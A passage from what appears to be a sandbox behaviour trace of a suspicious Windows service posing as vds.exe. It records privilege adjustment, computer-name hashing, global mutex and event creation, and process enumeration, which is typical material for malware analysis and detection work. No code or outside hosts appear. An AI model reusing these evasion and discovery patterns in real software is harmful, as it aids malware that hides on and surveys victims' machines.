Size=0x40) returned 0x4ac900 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac900) returned 1 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac900 [0224.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae1e0 [0224.900] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac900, cbMultiByte=9, lpWideCharStr=0x4ae1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0224.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae268 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae1e0) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae268) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac900) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5058) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.901] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0224.901] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 865 os_tid = 0x704 Thread: id = 866 os_tid = 0x708 Thread: id = 867 os_tid = 0x70c Thread: id = 868 os_tid = 0x710 [0224.910] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x4f7fd0 [0224.910] SetServiceStatus (hServiceStatus=0x4f7fd0, lpServiceStatus=0x15fff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0224.912] GetCommandLineW () returned="C:\\Windows\\System32\\vds.exe" [0224.913] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x15fff38 | out: pNumArgs=0x15fff38) returned 0x4e2790*="C:\\Windows\\System32\\vds.exe" [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae268 [0224.913] LocalFree (hMem=0x4e2790) returned 0x0 [0224.913] Wow64DisableWow64FsRedirection (in: OldValue=0x15fff34 | out: OldValue=0x15fff34*=0x0) returned 1 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x8f7cf8 [0224.913] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8f7cf8, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae1e0 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae2f0 [0224.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae1e0) returned 1 [0224.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae2f0) returned 1 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5c) returned 0x4add28 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae2f0 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae1e0 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae378 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae400 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae488 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae510 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae598 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae620 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae6a8 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae730 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae7b8 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae840 [0224.913] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f8500 [0224.913] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x8f8500, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0224.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8500) returned 1 [0224.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae840) returned 1 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae840 [0224.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x4ac288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae840) returned 1 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac900 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac948 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac990 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f2850 [0224.914] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.914] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.918] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.918] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ece78, lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68 | out: lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68) returned 1 [0224.918] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.918] CreateEventA (lpEventAttributes=0x15ffdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x138 [0224.919] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.919] GetLastError () returned 0x0 [0224.919] LocalFree (hMem=0x4ece78) returned 0x0 [0224.919] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.919] CryptAcquireContextW (in: phProv=0x15ffda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ffda0*=0x4fb478) returned 1 [0224.919] CryptCreateHash (in: hProv=0x4fb478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15ffda0 | out: phHash=0x15ffda0) returned 1 [0224.919] CryptHashData (hHash=0x4f3778, pbData=0x4ac240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0224.920] CryptGetHashParam (in: hHash=0x4f3778, dwParam=0x4, pbData=0x15ffda4, pdwDataLen=0x15ffdb0, dwFlags=0x0 | out: pbData=0x15ffda4, pdwDataLen=0x15ffdb0) returned 1 [0224.920] CryptGetHashParam (in: hHash=0x4f3778, dwParam=0x2, pbData=0x4ac9d8, pdwDataLen=0x15ffda4, dwFlags=0x0 | out: pbData=0x4ac9d8, pdwDataLen=0x15ffda4) returned 1 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4aca20 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x184) returned 0x8f8500 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4aca68 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4acab0 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4acaf8 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4acb40 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4acb88 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4acbd0 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f86a8 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f86f0 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8738 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8780 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f87c8 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8810 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8858 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f88a0 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f88e8 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8930 [0224.920] CryptDestroyHash (hHash=0x4f3778) returned 1 [0224.920] CryptReleaseContext (hProv=0x4fb478, dwFlags=0x0) returned 1 [0224.920] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.920] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8978 [0224.921] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.921] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.921] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8978) returned 1 [0224.921] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aca20) returned 1 [0224.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4aca20 [0224.921] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0224.921] GetLastError () returned 0x2 [0224.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f2850 [0224.921] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.921] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.921] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.923] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.923] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ece78, lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68 | out: lpbSaclPresent=0x15ffd68, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd68) returned 1 [0224.923] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.923] CreateEventA (lpEventAttributes=0x15ffdb0, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x13c [0224.923] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.923] GetLastError () returned 0x0 [0224.923] SetSecurityInfo () returned 0x0 [0224.928] LocalFree (hMem=0x4ece78) returned 0x0 [0224.928] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.928] CryptAcquireContextW (in: phProv=0x15ffda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x15ffda0*=0x4fb478) returned 1 [0224.929] CryptCreateHash (in: hProv=0x4fb478, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x15ffda0 | out: phHash=0x15ffda0) returned 1 [0224.929] CryptHashData (hHash=0x4f3778, pbData=0x4ac240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0224.929] CryptGetHashParam (in: hHash=0x4f3778, dwParam=0x4, pbData=0x15ffda4, pdwDataLen=0x15ffdb0, dwFlags=0x0 | out: pbData=0x15ffda4, pdwDataLen=0x15ffdb0) returned 1 [0224.929] CryptGetHashParam (in: hHash=0x4f3778, dwParam=0x2, pbData=0x4ac9d8, pdwDataLen=0x15ffda4, dwFlags=0x0 | out: pbData=0x4ac9d8, pdwDataLen=0x15ffda4) returned 1 [0224.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8978 [0224.929] CryptDestroyHash (hHash=0x4f3778) returned 1 [0224.929] CryptReleaseContext (hProv=0x4fb478, dwFlags=0x0) returned 1 [0224.929] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f89c0 [0224.929] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.929] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac9d8 [0224.929] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac9d8) returned 1 [0224.930] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f89c0) returned 1 [0224.930] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8978) returned 1 [0224.930] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8978 [0224.930] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f89c0 [0224.930] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0224.930] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f89c0) returned 1 [0224.930] GetLastError () returned 0x2 [0224.930] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f2850 [0224.930] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f89c0 [0224.930] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f89c0) returned 1 [0224.930] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.932] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ece78, lpbSaclPresent=0x15ffd64, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd64 | out: lpbSaclPresent=0x15ffd64, pSacl=0x15ffdbc, lpbSaclDefaulted=0x15ffd64) returned 1 [0224.932] CreateMutexA (lpMutexAttributes=0x15ffdb0, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x140 [0224.932] GetLastError () returned 0x0 [0224.932] SetSecurityInfo () returned 0x0 [0224.932] LocalFree (hMem=0x4ece78) returned 0x0 [0224.932] SetEvent (hEvent=0x13c) returned 1 [0224.932] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0 [0224.933] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f89c0 [0224.934] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x15ffbf4 | out: TokenHandle=0x15ffbf4*=0x16c) returned 0x0 [0224.934] NtAdjustPrivilegesToken (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x15ffbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0224.934] NtClose (Handle=0x16c) returned 0x0 [0224.934] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x15ffbf4 | out: TokenHandle=0x15ffbf4*=0x16c) returned 0x0 [0224.934] NtAdjustPrivilegesToken (in: TokenHandle=0x16c, DisableAllPrivileges=0, NewState=0x15ffbf8, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0224.934] NtClose (Handle=0x16c) returned 0x0 [0224.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a08 [0224.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a50 [0224.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8a98 [0224.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x0) returned 0x4ad278 [0224.934] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f2850 [0224.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x8f2850, Length=0x4000, ResultLength=0x15ffb88 | out: SystemInformation=0x8f2850, ResultLength=0x15ffb88*=0x84a0) returned 0xc0000004 [0224.935] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x84c0) returned 0x8f9690 [0224.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.936] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x8f9690, Length=0x84a0, ResultLength=0x15ffb88 | out: SystemInformation=0x8f9690, ResultLength=0x15ffb88*=0x6868) returned 0x0 [0224.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x4add90 [0224.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae840 [0224.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8ae0 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b28 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=8, lpMultiByteStr=0x8f8b28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 8 [0224.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b70 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b28) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b70) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b70 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8b70) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b70 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901b58 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae8c8 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8b28 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x8f8bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c00 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c00) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c00 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c00) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901bb8 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae950 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c00 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=11, lpMultiByteStr=0x8f8bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 11 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c48 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c48) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c48 [0224.937] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c48) returned 1 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901c18 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c48 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 [0224.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=9, lpMultiByteStr=0x8f8bb8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 9 [0224.937] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c90 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8bb8) returned 1 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c90) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c90 [0224.938] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f8c90) returned 1 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x901c78 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8c90 [0224.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.938] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x8f8bb8 